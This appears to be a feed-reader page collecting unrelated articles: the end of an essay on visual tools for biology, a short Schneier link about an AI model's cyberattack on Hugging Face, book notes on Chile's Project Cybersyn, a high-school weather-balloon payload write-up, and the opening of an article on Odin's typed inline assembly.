I want to be able to take a screenshot of the whiteboard in a Ninja Nerd lecture—a big beautiful diagram of the players in the adaptive immune system—and lasso sections of it, linking to sub-diagrams, some filled in by me, some by others, illustrating each of the parts in turn. We should have big, collaboratively edited zoomable “maps”—hierarchical diagrams—that are easy to navigate, work in standard browsers, are embeddable in blog posts, and so on.

Of course we need to teach more people how to draw. It’s an underrated skill. And how to write vividly, as in the wonderful books above.

But biology is uniquely suited to simulation—it’s a world of machines that are too small to see. The trouble is, it requires too much specialized skill to create three-dimensional interactive simulations. We need a toolkit that’s like MockMechanics , or Minecraft, that maybe even is Minecraft, but focused on biology. Or something much better.

It’s no coincidence that Watson and Crick depended for their discovery on a literal physical model that was machined for them specially. Victor’s Dynamicland imagines an immersive collaborative space in which such models can be built—now that we have computers—as quickly as you can have a conversation.

This is exactly what I wanted as I was writing my immune system article. I wanted to conjure models I could play with in my hand. I wanted a museum where I could walk around inside the epithelium during an immune response. I wanted to put ideas into physical space, like on a pinboard—TLRs go here , with the other innate armament; CD4+ T cells are there , in the adaptive world—but I wanted it to be as searchable, copy-pasteable, shareable, and composable as text.

Bret Victor’s vision of dynamic tools for thinking

I think we also need inspiration. There is a romance in biology, as in any other science, that a movie like Good Will Hunting could bring out. We need heroes. Whoever delivers us from this pandemic in the form of a slam dunk vaccine, or a cheap quick reliable test, should become a household name, not for their own glory but for our kids—a Feynman for them to dream about someday becoming.

Reading list

See jsomers.net for more of my writing.

Detailed Timeline of OpenAI’s Cyberattack on Hugging Face

Schneier
www.schneier.com
2026-08-20 13:44:36
OpenAI presented details of its AI’s model’s cyberattack on Hugging Face at Black Hat last week. Simon Willison details the timeline. It’s really interesting to read through—and really impressive cyberoffense work....
Original Article

Atom Feed Subscribe to comments on this entry

Leave a comment

Login

Allowed HTML <a href="URL"> • <em> <cite> <i> • <strong> <b> • <sub> <sup> • <ul> <ol> <li> • <blockquote> <pre> Markdown Extra syntax via https://michelf.ca/projects/php-markdown/extra/

Sidebar photo of Bruce Schneier by Joe MacInnis.

Project Cybersyn

Hacker News
bactra.org
2026-08-20 13:40:49
Comments...
Original Article

Last update : 01 Aug 2026 00:32
First version : 30 January 2022


Initial notes, January 2022

An early attempt at using networked computers for economic management in Allende's Chile, with the involvement of the British cyberneticist Stafford Beer. This has something of a cult following among contemporary socialists , in no small part, I suspect, because of the period glamour of the photographs of the control room, and because of the aura of righteous martyrdom given the fate of Allende and his government. Considering my interests in the possibilities and limits of economic planning , however, what I want to get very clear on are:

  1. What the various participants (Beer, the various groups among the Chileans) hoped to achieve with Cybersyn;
  2. What the system as implemented actually achieved; and
  3. What a similar system might do with modern, or reasonably-foreseeable, technology.

The main source on all this is Medina's book, which I need to actually finish. (Honestly it's been so long since I started it that I should just re-read from scratch.) But I should also try to see what's been done, in terms of historical research, since her book.

Update, 18 October 2023

Attention conservation notice : 1500+ words of book report.

Having just finished Medina's book (which seems to have no successors), and the papers from the 1970s she cites as the technical sources, a few more notes. (All page numbers are references to her book.)

Cybersyn was to have four main components:

  1. "Cybernet": A network of telex machines linking factories to the government agency that ran the nationalized sector of the economy (Corporación de Fomento de la Producción, CORFO), and thence to the one (!) mainframe computer available to the project. (My reference to networked computer s , plural, in the opening paragraph to this notebook was thus dead wrong, though I think it's a common misunderstanding.) The idea was that factories would send regular (ideally, daily) measurements of what we'd now call key performance indicators or metrics to the central computer, which would process them and communicate back to each factory what it had learned.
  2. "Cyberstride": A central program running on that mainframe which was essentially doing anomaly / change-point detection on the time series coming in from the periphery . This was basically implementing the method of Harrison and Stevens (1971), per Medina (p. 267n33). As Dan Davies puts it , the content of the signals it output would have amounted to basically either "situation nominal" or "there's something up at the mill".
    An important part of the design here was that when Cyberstride did raise a warning, it was supposed to go back to the relevant factory, which would get a chance to deal with the matter on its own, thus preserving a certain measure of firm-level autonomy.
  3. "CHECO": A simulation model of the Chilean macroeconomy, which was supposed to let policy-makers do what-if exercises.
  4. The fabulous control room or operations room, which was supposed to display information from Cyberstride and CHECO to decision-makers. Medina says (pp. 121, 123) that the designers of the room swear up and down they weren't influenced by 2001 or Star Trek or the like. If that's true, the Chileans and the Hollywood set-designers must've both drawn drawn on some common sources for their visual style of The Future.

(Beer was also very taken with his thoughts about "algedonic" [=pain-pleasure] meters which The People could twist back and forth to indicate how satisfied or dis-satisfied they were, with a central read-out, but that was, if not literally vaporware because a handful of prototypes were built, then very clearly never going to be a thing.)

I have listed the four parts in order of decreasing completion and utility.

  1. The telex network was the only piece that seems to have been actually useful to the Allende administration --- and that not in the way intended. In October 1972, the mostly-conservative, mostly-small-business-owner trucking industry staged a nation-wide strike against Allende. The administration used the telex network to coordinate the trucks they had control, to try to keep the economy from completely grinding to a halt. This coordination seems to have made no use at all of Cyberstride, or the control room, or any cybernetic principles. The main advantage of the telex over phone calls was creating written records without the need for note-taking. (Telegrams would have worked as well!) Some tertiary sources make it sound like the government broke the strike in this way. In fact, as Medina makes clear, the strike ended with a political compromise, viz., Allende brought top generals into his cabinet, and otherwise temporarily appeased the conservatives, though without fully abandoning his program. It does seem that the telex network bought the government more time and a better bargaining position than it would otherwise have had.
  2. Cyberstride was eventually brought up and running, but the lag time between taking measurements, running them through the mainframe, and getting them back to decision makers was so long that it seems to have been a complete flop in its intended purpose of detecting problems early before they became serious --- let alone anticipating them before they became problems. (Medina refers to efforts to get the telex machines to directly communicate with the mainframe running Cyberstride, but it's not clear to me if those ever succeeded; I/O in the early 1970s was hard!) This, of course, did not help persuade busy, not to say frantic, factory managers to devote time and energy to feeding the system measurements early and often. (I say "managers" because ordinary workers were uninvolved.) It was, of course, an entirely centralized system in terms of computation. (How could it not be, with only one computer?) Rhetoric to the contrary, it did nothing to de-centralize control, or to involve workers in participatory decision-making. It also was in no sense a planning system, or any kind of replacement for market coordination. When the system did warn of problems, it was up to managers and central bureaucrats to scramble to find solutions (e.g., alternative sources of supplies). Figuring out what variables to measure for each factory was complicated, and involved sending trained engineers out to each plant and understanding what was going on there; this was not something workers had much to do with. (Beer talked a good game to the contrary on that last point, but it was just talk.)
    I mentioned above that part of the original design was that when Cyberstride identified a problem at a plant, it was supposed to get some time to address it on its own, in order to preserve the autonomy of the enterprise. As Medina explains, however, when problems were noticed, the staff running the system "alerted the affected enterprise, those in the central telex room in CORFO, and [Cybersyn project director Raul] Espejo in the CORFO informatics directorate --- all at the same time". "Dismantling one of the primary safeguards of [enterprise] autonomy might have been as easy as having someone from the telex room walk down the hall". (All these quotations are from pp. 183--184.)
  3. CHECO produced some models, but at no point does Medina refer to any decision-maker actually consulting them. From her description of the models, it would have been extremely hard to connect them to the kind of data coming in through the telex network.
  4. The operations room also doesn't seem to have been much use. The screens were not, in fact, hooked up to computers; they were for displaying slides. "[I]t required some of Chile's best graphic designers to draw by hand every graph and chart the room displayed" (p. 125). I'm sure it was nicer than a dingy conference room with an overhead transparency projector , but it wasn't actually any more capable . Towards the end of his administration, in September 1973, Allende did ask to have the room moved to the presidential palace, but that seems to have been because he wanted closer access to the central node of the telex network (p. 206).

My assessment, based on all this, was that if the Allende government had, by some miracle, survived (*), and Cybersyn had been built out as intended, what would have resulted would've been an pioneering example of what we'd now call a "dashboard", tracking time series of performance indicators and throwing alerts to possible change-points in the series. This can be a useful thing for decision-makers, if the right stuff is being measured and they have some ability to act on the information, but the politics of that of course depends entirely on who has access to the information, who gets to make decisions on the basis of the information, what kinds of decisions they get to make, who they are accountable to for the results of their decisions, etc., etc. For that matter it depends on the information being entered into the system honestly in the first place, and not fudged to conceal problems, to exaggerate distress, or to set easier goals for oneself. (Medina doesn't mention this issue at all, so it might not have occurred to anyone, but it would have mattered if Cybersyn had actually become important.) In any case, as a replacement for market coordination, Cybersyn was simply a non-starter. To describe it as a decentralized planning system is nonsense.

Nowadays, of course, the software would run easily on anyone's phone. It'd be easy to give each factory manager their own anomaly-detector, and the telex network would be subsumed into the ordinary phone network. Why you'd want to share the information rather than having anomaly detection done locally is, with modern technology, less clear --- presumably it'd be because someone with access to all the local information could do some useful aggregation, perhaps by assimilating it into a macroeconomic model. (For that to be useful you'd need a good macro model, which are thin on the ground ; maybe an input-output model of inter-plant/inter-industry linkages would be useful enough.) You could run that central node out of a spiffy room, where the screens could even be connected to computers.

I do not want to end on a dismissive note. The people who worked on Project Cybersyn tried to do something new and hard and worthwhile under difficult conditions. What they achieved was remarkable enough to need no exaggeration.

*: And I don't see how it could have, with its policies; if the CIA and/or domestic reactionaries didn't overthrow them, the Communist Party would have. (Cf. Nove.)

Show HN: We chased a weather balloon across Montana and never found it

Hacker News
radi8.dev
2026-08-20 13:33:32
Comments...
Original Article

Side view of the payload board

In June of 2025, I worked with New England Sci-Tech as a part of Apex to launch StratoSpore : my first ballooning project. I used this opportunity to use algae as a biosensor for altitude, and I learned a lot in the process. Wanting to experiment in the stratosphere again, I worked with Sam Flynn to make a reliable and flight-ready payload.

I had a few goals with this payload from what I learned from last year:

  • Have redundancy for tracking systems
  • Send images to the ground with actual details
    • Last payload sent pictures 18x10 pixels
  • Use a more reliable GPS module
  • Implement more elaborate radio functionality
    • Use my amateur radio license?
    • Use more efficient data packing techniques for telemetry

My plan for this post is to cover how I implemented these changes, along with documenting my learning process in hopes to inform my future launches.

The Experiment(s)

StratoSpore last year had two goals: examine how altitude/UV exposure affects algae fluorescence, and send images to the ground over a radio link.

UpLink , our payload this year, follows a similar style and did two things:

  • Test how 3D printing filaments (foaming PLA vs. non-foaming) affects payload insulation
  • Send high-resolution images over a radio link

Testing Payload Insulation

Historically, most high-altitude research teams use styrofoam boxes for payload enclosures. There is a reason most teams avoid experimenting with other types of enclosures: styrofoam provides excellent thermal insulation and is easy to manipulate.

Despite their popularity, they have a few disadvantages:

  • They come in predefined sizes which mandate a certain weight allowance
  • They cannot be flexible for your specific payload, making it hard to be efficient with payload layout
  • They are expensive compared to more custom solutions

The entire payload (parachute, flight line, electronics, enclosures) we sent up weighed 491 grams . A traditional foam enclosure would already weigh ~200 grams. Ultralight payloads are more attractive the lighter your balloon is. Ours was a 350 gram balloon from Kaymont. As a general rule, the bigger the balloon, the more helium you will need. Costs of it add up quickly!

Sam designed our enclosure in Fusion360 over a few weeks, creating something that fit our payload perfectly, had predefined standoffs, standardized mounting hardware, and pockets for fitting cameras, temperature sensors, and other electronics.

Thermal simulations of how the payload would be affected duing flight

For measuring how the different filaments insulate the temperature sensors, small capsules were attached to the payload’s lid. Internally, the sensors were sealed with hot glue to isolate them from ambient air that would impact similarity between the pods.

The enclosure was printed in Sunlu’s LW-PLA filament. It is unlike normal filament, and contains microscopic air bubbles which actively foam during the printing process. At the advantage of being 30-50% lighter than PLA, it is a nightmare to print with. I created a special print profile to make it somewhat bearable:

  • It must be printed ~7x slower
  • Cooling must be disabled/limited as it impacts foam expansion
  • Bed temperature must be increased as adhesion is not great
  • Acceleration must be disabled or else infill and walls will have varying strengths

With all these changes, it can still be very brittle and difficult to print if not properly dried. If you are interested in experimenting with this filament, you can download my print profile for Orca Slicer. I am open to recommendations!

The results

The hypothesis with the foaming PLA filament is that the microscopic air bubbles would provide a noticeable difference in insulation performance over typical PLA.

The data told a different story:

Thermal analysis of the payload

As you can see, there are no conclusive results regarding how foaming PLA performs versus bare PLA. There are times where foaming performs better, but the opposite can also be observed.

My suspicion is that the microscopic air bubbles in reality did nothing for actual insulation, and that for proper payload enclosures, infill and wall count matters much more than filament composition. Another thing to try may be multiline infill : insulation works on the property of air pockets slowing down heat transfer. Perhaps thicker walls between internal air pockets would help?

Even with the lack of results regarding insulation properties, it is clear that printing a custom payload enclosure is beneficial, as insulated sensors were ~7°C warmer than the ambient air. Better sealing would likely improve this substantially, and we also observed through simulations that radiation from the sun heated the payload several degrees if painted black instead of white.

This is a simulation Sam ran to verify that the 3D printed payload would be able to insulate the electronics from the cold ambient air:

Temperature simulations of enclosure

Painting the enclosure black with acrylic paint Painting the foaming PLA enclosure with black acrylic paint

Foaming PLA filament still bears the crown in terms of the weight to strength ratio, so I am confident using it for future launches.

Image Transmission

Most amateur ballooning payloads have cameras. The view at 30 km up is incredible, and knowing those pictures came from a custom designed payload makes them even more special.

Last year, I transmitted images that were 18x10 pixels, which had no discernible details visible:

Picture of something

The reason I sent down such small images was due to limitations in the radio link: transmissions are slow and limited (by protocol) to 255 bytes. To combat the challenge, I designed an excessive and overly complex image compression algorithm , which in turn made transmitted images unusable.

While studying for my amateur radio license last year, I learned about SSTV (Slow Scan Television), a method of transmitting pictures over an analog video link. SSTV requires a high power budget (at least 5-20 watts) and produces images that are not up to my standard.

I did some more research and found SSDV (Slow Scan Digital Video), a packetized digital version of SSTV. Even if the ground station misses packets, the image can be reconstructed.

I modified Philip Heron’s C implementation of SSDV for my specific needs: I reduced the packet size, removed call sign transmission, and disabled the Reed-Solomon error correction as the radio link already does this. You can find my changes on GitHub .

The camera takes an image, saves a full resolution copy to the SD card, and encodes the 320x240 version before transmitting ~15 packets per image.

A filmstrip of 10 images during the flight at different altitudes

The ground station received 328 images throughout the flight, which you can view at the gallery .

A contact sheet of all 328 images received by the ground station

Here is some image science on how images were captured at different altitudes, and how light was scattered differently leading to the sky turning black.

Image science

On the descent, the payload was swinging heavily. Here is a picture it captured of the sun:

The Sun The Sun Is A Deadly Lazer

This graph shows how images tended to look as altitude increased, with later images being able to see the black of space.

A flight barcode with each column containing the average colors per row of each image

This shows a map of images taken throughout the flight.

Photo map

I am very happy with how the images turned out this year!

Electronics

Top render of the custom circuit board

Prior to everything I have made since, last year’s payload circuit boards were the most complex design I had made. Since then, I have learned KiCad , a free and open source EDA program. With my changes in tooling, my skill has grown significantly.

The custom electronics had four main sections:

  • Power Electronics (voltage regulator, load switch)
  • Microcontroller (ESP32-S3, camera, SD card)
  • GPS & Tracking (module, antenna, redundancy)
  • Radio Link (SX1262)
  • Sensor Integration (external SPI ADC, temperature sensors)

As usual, I had the boards manufactured by OSH Park , and they turned out perfect. Additionally, I got the boards open-source certified .

The beautiful purple and gold PCBs from OSH Park

Power Electronics

Power electronics PCB design

With a low expected weight budget, my power budget was even lower than I thought. The use of 4x Energizer Ultimate Lithium double-A batteries worked well last launch due to ample weight, but I had to make tradeoffs and use 3x triple-A from Energizer’s same series. With a high power budget previously, I ran a Raspberry Pi Zero 2 W, an RP2040, and various sensors. The challenge with low power is finding solutions that work well, but efficiently and how you would like.

This payload used a buck-boost converter for power: meaning it stabilizes a solid 3.3V supply to the electronics whether or not the batteries are actually above this voltage. This is a significant upgrade, where I previously used highly inefficient low-dropout regulators, which purely drop voltage.

Mistakes Made

I originally had planned on using a load switch to control if the payload was turned on or off. This later proved to not actually work the way I implemented it, and provided power even if not intended to. In hindsight, the better solution would be using the mechanical switch as an ENABLE signal for the voltage regulator.

Later on in the project, I also accidentally shorted out the board when working on the battery holders and power supply. I was then unable to use the board with a functioning power supply, and instead relied on the microcontroller’s built-in buck regulator.

Battery voltage wasn’t correctly reported during flight due to the fact I possibly killed the voltage dividers meant to report battery health.

Microcontroller

The XIAO ESP32-S3 Sense Microcontroller Module

I chose to use an ESP32-S3 microcontroller for data collection and transmission. Seeed Studio makes a variety of tiny microcontroller boards, including ones with cameras, SD cards, microphones, and WiFi. Using their XIAO ESP32-S3 Sense, I was able to fit the purpose of the Pi last year in a much smaller and more power efficient form factor.

Close-up view of the MCP3204 SPI ADC

The XIAO boards have few GPIO pins, and the camera and SD card claim most of them. To read analog sensors, I added an external SPI ADC (MCP3204), which the analog temperature sensors (MCP9700A) and the battery voltage divider both connect through. The divider is the one that stopped reporting mid-project.

Firmware was written in Arduino, rather than CircuitPython as I did last year. I have been wanting to write lower level code for a long time, and doing so this launch was a huge step for me. There are so many more considerations that must be taken when going this route: efficient memory management, obscure compiler errors, the lack of a native file system, and more. In the end, Arduino was a perfect choice for the firmware, and it made iteration easy despite an initial learning curve.

The firmware interfaces with all the sensors and modules: the ADC, radio, GPS, SD card, and camera. After setting up all hardware, a simple loop is followed where images are captured and packetized, telemetry data is collected, and the radio alternates between transmissions for SSDV and telemetry.

Mistakes Made

As everyone does at one point, I swapped MISO and MOSI for the SPI lines! I was able to fix this issue with some quick but otherwise janky bodges.

The plethora of bodge wires and kapton tape holding the board together

GPS & Tracking

The NEO-6M GNSS module used on StratoSpore was unreliable and hard to use. At a higher cost, I used the SAM-M10Q module this time. It has an integrated patch antenna, and used the ground plane of the circuit board as part of the setup. The datasheet notes using a 50x50mm ground plane is ideal, but it worked well at the 30x60mm size I used. It can be pretty sensitive indoors, sometimes working great or not, but I found using Assisted GNSS helped. During flight, the module was maxed out, tracking 32 satellites.

Live coordinates and altitude were transmitted over the radio link, and were then fed to Sam’s custom dashboard and SondeHub for live tracking and predictions.

Our custom dashboard showing live data and images

As one of my goals was to use a secondary tracker, I programmed a QRP Labs U4B balloon tracker to transmit WSPR and JT9 at specific intervals on the 10 meter (licensed) band. These are weak-signal protocols and are very slow, with WSPR messages lasting 110.6 seconds, and JT9 at 50 seconds. While this is useful for tracking something like a picoballoon running on solar panels, it is inconvenient and not feasible to be used for tracking high altitude balloons on their descent.

Ultimately, the U4B did not fulfill its purpose, and was not suitable for tracking the balloon. In the future, I might try using a Tiny4FSK or making a standalone tracker running 70cm LoRa.

Wio-SX1262 Radio Module

I used the Wio-SX1262 from Seeed Studio to integrate LoRa (Long Range) radio transmissions with the electronics. LoRa is meant for low-power transmissions that can reach far distances. It operates at 915 MHz (33 cm band) for unlicensed use, making it easy to get into.

LoRa has different configuration settings that affect how effectively transmissions can be received at distance. Spreading Factor controls the speed of the data transmission, going from SF7-SF12. I used SF9 as a good middle ground, up from SF7 last year. SF9 provides a receiver sensitivity of -129 dBm while not making packets too long.

Airtime is especially important for LoRa: the longer the message, the greater the chance of interference and symbol loss. Telemetry messages had 247 ms of airtime, with SSDV packets at 677 ms . During testing, longer messages at higher spreading factors were harder to receive with my SDR. Coding rate (error correction ratios) is also a factor in reception, but I found transmitting at SF9 with a coding rate of 4/5 (4 data bits + 1 parity bit, the lowest detection level with no correction) and 125 kHz bandwidth worked well. Shorter messages also buy us a cheaper failure: losing a small image packet doesn’t hurt as much as losing a big one.

Radio link graphs including signal quality

Telemetry on the 33 cm band worked surprisingly well, and packets were received during the entire flight. There were occasional losses in signal during the chase, as we passed through some deep canyons and towns where we received interference.

All telemetry was packed into a single 35-byte packet. I was able to create a more efficient packet structure than last year, using packed latitude and longitude values rather than Plus Codes . I also took more care to use correctly sized integers.

Byte layout of the 35-byte telemetry packet

SSDV images were also sent over the LoRa protocol with 128-byte packets, modified from Philip Heron’s implementation using 256 bytes. LoRa has built-in error detection, negating the need for SSDV to send this information.

Mistakes Made

I mistakenly configured the SX1262 to use its internal LDO, so it was operating inefficiently compared to using the DC-DC converter it has. This means it drew higher current than needed, draining batteries faster than expected.

Launch Day

UpLink was launched on August 16th, 2026 outside of Townsend, MT. In Montana, winds predominantly blow from west to east. Townsend was our best bet for launching, as we can clear the mountains east of it easily.

Montana terrain near Townsend

After planning to use a fishing scale for measuring free lift of the balloon and finding out it was broken, we had to settle with guessing lift from an inaccurate bathroom scale. With such a scale, the balloon ended up underfilled, and had a much slower ascent than expected: around 1.5-3 m/s for most of the flight. An ascent rate of 5 m/s is ideal for most flights, targeting a 2 hour flight.

The helium cylinder and regulator were provided for free by American Welding & Gas , which would have otherwise been expensive for the budget of two high school students.

As this was Sam and my first solo flight, Jared Kamp joined us with his expertise from his work at Montana State University’s BOREALIS program. His help was invaluable, ranging from calling in NOTAMs and the sheriff, to running numerous flight predictions so we had the best possible location to launch.

Along with Jared’s help, my dad and David Hansen also joined for the launch, assisting with setup of the balloon fill station, documenting on video, and providing extra hands for the balloon release.

The Flight

With the slower than expected ascent rate, the flight lasted close to 5 hours. During testing at home, I measured that the payload batteries lasted around 4.5 hours before dying. Unfortunately, this measurement stayed true with the real flight, and we lost radio contact around 15 minutes before the projected landing. Even with the U4B, we were not able to track it down. We suspect something happened to it and that it stopped transmitting entirely. We stopped seeing the WSPR and JT9 signals on the waterfall, and weren’t able to decode any messages in WSJT-X. There should have been plenty of battery life left, and I still don’t know why it stopped.

The balloon traveled 140 km (87 mi) downrange, and reached a burst altitude of 28.42 km (93,000 ft). Packet and SSDV imagery was decoded clearly for most of the flight, and the receiver experienced a median SNR of -4.8 dB .

A debrief of the flight, showing images, altitude reached, and other statistics Flight trajectory and 3D path

The payload landed in central Montana, near Judith Gap. Without a ping from the payload as to where it landed, we were stuck with relying on SondeHub’s prediction to search near. 15 minutes before landing, SondeHub’s predictions are only so accurate: it could have been anywhere in a 3 km radius, or more.

SondeHub predictions for landing location

We spent around 2 hours searching farmland on foot and by car near the landing projection, but were unsuccessful in locating the lost payload. We also got access to some private property to search, and it was still nowhere to be found. We stopped searching as it was getting late, and we had already been chasing it for 7 hours. If we had a ping on landing, we would have found it. If you live near Judith Gap and find it, please contact us. :)

Ideas We Dropped

As the electronics can get cold inside high altitude balloon payloads, we considered putting a hand warmer inside the payload to keep them functioning. There were two considerations when implementing hand warmers: how they affect RF and if they would continue to work at high altitudes.

Classic air-activated hand warmers were out of the picture due to potentially affecting GPS and LoRa functionality, since the iron powder could detune antennas in such close proximity. They also would stop working as the air thinned. Sodium acetate-based hand warmers were also an option, but proved to not last long (around 30 mins) and were too heavy (85 grams) to be feasible to put inside the payload.

With these options exhausted, we ended up not using anything to facilitate warming of the payload, as self-heating of the microcontroller was plenty. It stayed above freezing point for the entirety of the flight.

Reflections

Despite being an overall successful launch (besides us not finding it!), we still made many mistakes that can be improved upon for the future.

Proper Fishing Scale

With a working scale to measure free lift of the balloon, the flight would have been an appropriate length, preventing many further problems from occurring.

Payload Separation

With a low power budget from a long flight, the camera drew precious battery from the tracker payload. If these were to run on separate power, the payload would have been found.

While the 33 cm band proved to work well for tracking the balloon, I would like to experiment with the 70 cm band. 70 cm will give us better range for tracking, but we can keep SSDV on 33 cm for raw throughput of images.

SSDV Imagery

The 320x240 images we received were already beautiful, but I think with a freer radio link, we could send higher resolution images. Maybe even 640x480 px!


Even with the numerous problems we encountered, the goals at the start of the project were implemented (besides proper tracker redundancy). I am still proud of our accomplishments being the first independently organized flight we made.

Data and Source

All hardware, software, firmware, and CAD have been open sourced on our GitHub . Besides source code, we’ve included the data received during the flight, including position, GNSS module information, temperature data, microcontroller memory info, system flags, and receiver station RSSI/SNR. Available as a CSV, one row per received packet. All images are also in the gallery or in Git. This data is all we had received on the ground, so don’t expect full-res images or complete data.

Credits

The project was only possible because of the following:

  • Sam Flynn for immense help with the dashboard, enclosure, and launch
  • American Welding & Gas for supporting me with helium
  • Jared Kamp for planning logistics of the launch and bringing valuable expertise from Borealis
  • David Hansen for help with the launch and joining us on the chase
  • My parents for supporting me throughout my long nights of work
  • Max Kendall for his detailed launch guide and inspiring me to get into ballooning more

URL shortener links stored in your ATProto PDS

Hacker News
atpr.to
2026-08-20 13:23:22
Comments...
Original Article

Recently created or modified

waiting for shortened urls...

Everyone Says Assembly Is Untyped—Everyone Is Wrong - gingerBill

Lobsters
www.gingerbill.org
2026-08-20 13:22:35
Comments...
Original Article

TL;DR: I believe Odin’s inline assembles is currently the best out of any language.

The most important aspects are of this article listed below. I am not aware of any other assembly (GCC/Clang/Rust/Go…) that would combine all of these aspects:

  • Inline assembly is organized into asm “templates”, similar to and callable as procedures.
  • asm templates integrate with rest of the code, through bindings specifying clobbers, pinned, tied, and scratch registers.
  • Assembly syntax is unified across ISAs and consistent with Odin syntax.
  • Assembly is fully type checked, just like rest of Odin code.
  • Understanding that assembly is actually typed.
  • Real semantic diagnostics via core:rexcode encoding tables.
  • It was built in ~7 days.

I have been asked why Odin even bothers having its own custom inline assembler at all. Isn’t inline assembly a solved problem? You take a string, you hand it to the assembler, and you let it sort out the rest. Everyone from GCC to Clang to Rust Rust’s inline assembly is a little more sophisticated because of the macro system, but not that much more. does more or less this. The wheel has been invented, right?

This is precisely the design I did not want, and precisely the design that most languages have settled for. My goal from the beginning was an inline assembler that actually integrates with the rest of the language rather than feeling bolted on the side. And I honestly believe that what Odin has ended up with is the best inline assembly system in any language right now. I don’t say that lightly, and by the end of this article I hope you’ll at least understand why I believe that to be true.

The String-Based Nonsense

Let’s start with the thing I was reacting against. Here is what a trivial “add one” looks like in GCC-style extended asm using x86 AT&T/GAS syntax:

int dst;
asm ("movl %1, %0\n\t"
     "addl $1, %0"
     : "=r" (dst) // outputs
     : "r"  (src) // inputs
     : /* clobbers */);

Look at this and ask yourself: what does the compiler (as opposed to the assembler ) understand here? The answer is “almost nothing”. The body is a string. "=r" and "r" are explicit constraint strings, another little stringly-typed DSL glued to the side of the real DSL. The %0 and %1 are positional references into a list you have to count by hand. And if you get any of it wrong, the error you get back is not from the compiler that knows your types and semantics; it is from the assembler, much later on, pointing at generated text that was not written by you.

This is the sort of thing that happens when a feature is designed as an escape-hatch first rather than as a part of the language . Nobody seems to have sat down and asked “what would inline assembly look like if it respected the type system, the calling conventions, the constant system, and other things (like multiple-return-value semantics) of the host language?”. Rather, they asked “how do I bodge some assembly into this function with the least amount of compiler work?”, and a string was the answer.

These kinds of inline assemblers ignore all of the aspects of the host language, and just bodge it in. I didn’t; I designed one from scratch.

A Brief History of Bolting It On

Strings are not the only way this has been done, and it is worth looking at what previous languages/compilers have done, because some of these approaches are a heck of a lot better than what GCC/Clang did, and unfortunately this development has stopped in compiler space.

MSVC

Microsoft’s C compilers had a genuinely different approach. MSVC’s __asm was statement-based , not string-based. You wrote a block of real instructions, and (this is the good part) you referenced your C variables and labels directly by name, and the compiler resolved them for you:

int add_one(int x) {
    __asm {
        mov eax, x // 'x' is the C parameter, resolved by the compiler
        inc eax
    }              // value left in eax is the return value, by convention
}

No constraint strings. No %0 . No counting operands. Compared to the GCC contraption this is honestly pleasant to read, and for a long time it was how an enormous amount of Windows systems code got written. So why did it disappear?

Firstly, it was x86-only . When Microsoft moved to x64 (and later ARM64) they did not port it. The official guidance became “use compiler intrinsics, or write a separate .asm file and run it through MASM”. One of the stated constraints for the x64 compiler was to have no inline assembler at all. A whole approach was thrown away at the ISA boundary rather than generalized across it.

Secondly, even where it existed, the compiler did not really understand the block. It resolved your symbol names, but it carried no explicit clobber information; the optimizer largely treated the region as an opaque fence to be conservative around. It knew what x was. It did not give any feedback to the user as to what the instructions did .

Turbo Pascal

If you go back further, you’ll find Turbo Pascal, which I have an obvious fondness for, as I do for Pascals in general. For its inline assembly, it had two mechanisms, and together they bracket the entire design space quite nicely.

The first mechanism was the inline directive, and it is the purest possible statement of “the compiler understands nothing”. You gave it machine code as a sequence of numeric constants—actual opcodes, as bytes:

procedure Cli;  inline($FA);       { $FA = the CLI instruction }
procedure Nops; inline($90/$90);   { two NOP bytes }

That is not an assembler. This is you being the assembler, by hand, with the compiler faithfully copying your bytes into the stream. It is the ur-escape-hatch Odin keeps this exact capability as the #byte directive, but as one directive among many inside a checked template, not as the entire interface. .

The second mechanism, which was added in Turbo Pascal 6.0 , was the built-in assembler: the asm ... end block and the assembler procedure directive. This approach is much better as it has real mnemonics, and, like MSVC after it, you could name your Pascal variables and parameters directly:

function AddOne(X: Word): Word; assembler;
asm
    mov ax, X    { 'X' is the Pascal parameter }
    inc ax       { result returned in AX }
end;

For 1990, this seems really lovely This is before my time as I was not even born yet. , and arguably ahead of where current C compilers eventually landed. But because of its time period, the built-in assembler only ever understood up to 80286 instructions, so the day you wanted a 386 and its 32-bit registers you were sent off to an external assembler anyway.

Bolted on, and then bolted shut.

MSVC and Turbo Pascal were both better in their instinctual design compared to that of GCC, especially with the dumb constraint strings. However, both of them stopped at exactly the same place: they resolved your identifiers but never modelled the instructions—not the operand types, only limited checking on immediate ranges, no control over what got clobbered or what needed to be pinned. GCC threw away their design and forgot the aspect of letting the assembly speak for itself in its own language.

There was no conception that there is actually a type system underneath which could be generalized for the assembly. Which is the whole point of the Odin design, and it is what the rest of this article is about.

Assembly Is Not Untyped

There is a very common belief that assembly is “untyped”, and that inline assembly is therefore inherently an anything-goes affair. This isn’t true, and getting past it is the single most important idea in the whole design of a universalized inline assembler.

I’ve written before about “untyped types” in the context of Odin, but those are actually existential types . Conventionally, “untyped” effectively means everything is “opaque” and very weak (e.g. everything is just an int and you just assume it everywhere). Assembly is usually considered the perfect example of such an “untyped” language.

However, every instruction has a set of valid forms. Each form dictates the kind of each operand (register, memory, immediate, label), the class of each register (general-purpose, vector, mask), the width of each operand, the range each immediate may take, and what the instruction clobbers (flags, memory, particular registers). In x86, a mulps wants a 128-bit vector register; a crc32 in one of its forms wants a 32-bit destination and an 8-bit memory source; div reads and writes rdx:rax whether you like it or not.

That is not the absence of a type system: that is a type system; a rather rich, dependent, per-instruction one. Assembly is effectively a polyadic typed algebra that everyone has agreed to pretend is a soup of bytes. Once you understand this, the design question stops being “how do I smuggle a string past the compiler?” and becomes “how do I express this algebra in the language’s own terms?”. And it turns out Odin already had most of the pieces lying around.

One Syntax, Many ISAs

The first decision was the surrounding syntax. Not the mnemonics—obviously mov on AMD64 has nothing to say to ldr on arm64—but everything around the mnemonics: how you declare operands, how you reference registers, how you write a memory address, how you spell a label, etc.

Here I took the same lesson that Plan 9 (and later Go ) took: pick one syntax and keep it consistent across every target. Ken Thompson ’s toolchain did this, which Go inherited, and it is genuinely nice to only have to learn the shape of the thing once. Go’s assembly does have its issues (and inconsistencies), but the general idea is brilliant.

Odin itself has a context-free grammar, so for Odin’s inline assembly, I wanted it to have a context-free grammar too, with the general form:

instruction [operand{, operand}]

